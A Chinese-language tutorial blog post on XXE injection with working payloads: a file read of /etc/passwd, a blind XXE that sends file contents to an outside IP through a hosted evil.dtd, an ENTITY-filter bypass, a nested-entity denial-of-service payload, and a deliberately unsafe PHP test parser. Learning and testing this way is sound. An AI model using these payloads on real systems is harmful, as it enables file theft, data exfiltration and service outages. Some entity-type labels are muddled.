XXE注入攻击

听说XXE漏洞已经荣登OWASP榜了?看来是时候把之前的XXE学习笔记拿出来翻新一波了。。。

XXE攻击的场景以及用途

在一切对XML文件进行解析的场景中,都有可能出现XXE注入。像XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header),soap通信通信格式,甚至有道题目的参数为Yiruma处理中也涉及到了对xml文件的解析,此外,网上有一些在线XML格式化工具,还有一ctf题目中的将csv文件转化为xml文件的功能,都可能涉及到不安全的XML文件解析从而存在攻击点
说到XXE攻击的常见用途有:实现任意文件读取,重复定义引用(仿递归)攻击,内网探测,更多可用攻击手法都基于实体中可以使用的协议,这个后面会介绍到

XXE产生的原因

在有对XML文件进行解析的地方,如果使用了不安全的XML解析函数如php的simplexml_load_string(),对外部实体进行了解析下,就有可能引入不安全的参数,从而造成攻击。

XML文档结构学习

XML文档结构包括XML声明,DTD文档类型定义,文档元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

当然,重点学习对象就是DTD部分,攻击就是从这里产生的

DTD学习

一个DTD中的实体由两种属性组成——参数/非参数实体+内部/外部实体

其中参数实体只能在DTD内部以%实体名的方式引用,而非参数实体则可在XML文档元素,也就是XML的第三个部分以&实体名的方式引用

内部实体一般定义字符串这些,而外部实体可以使用如下的协议,可以看到这里面有很多危险的协议,我们要做的就是突破限制来使用这些协议来达到我们的目的

来看几个例子

1
2
3
4
5
6
7
8
这是一个内部实体+参数实体,参数在XML文档文档元素部分引用,不能使用协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">
]>
<foo>
<value>&name;</value>
</foo>
1
2
3
4
5
6
这是一个外部实体+非参数实体,参数在XML文档DTD内部引用,可以使用外部协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

XXE注入的几种姿势

能够直接回显的

这种能够回显的,直接写一个参数+外部实体然后调用就好了

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<foo>
<value>&file;</value>
</foo>

不能直接回显的,Blind XXE

首先在vps中建立evil.dtd

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://118.89.16.36/x/?id=%file;'>"
>
%all;

然后xml中书写如下形式

1
2
3
4
5
6
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://118.89.16.36/evil.dtd">
%dtd;
%send;
]>

过滤了ENTITY关键字

DTD文档支持这么一种定义,直接在定义文档类型的时候引入外部DTD文档,之后就是同样的姿势了

(本地测试没有成功,可能是姿势问题)

1
2
3
4
5
<!DOCTYPE svg SYSTEM "http://118.89.16.36/evil.dtd">
<root>&test;</root>
evil.dtd
<!ENTITY test SYSTEM "file:///etc/passwd">

拒绝服务攻击

这个文件里面存在11111个实体引用,超出了合法的实体引用数量上限

1
2
3
4
5
6
7
8
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

搭建本地测试环境

1
2
3
4
5
6
7
8
9
<?php
$a=<<<XML
//书写XML文档
XML;
//注:在高版本php中对外部实体的解析默认关闭了,所以下面要这样写来启用
libxml_disable_entity_loader(false);
$data=simplexml_load_string($a, 'SimpleXMLElement', LIBXML_NOENT);
echo $data;
?>

参考文章:

DTD/XXE 攻击笔记分享 | FreeBuf

浅谈XXE漏洞攻击与防御 | nMask’s Blog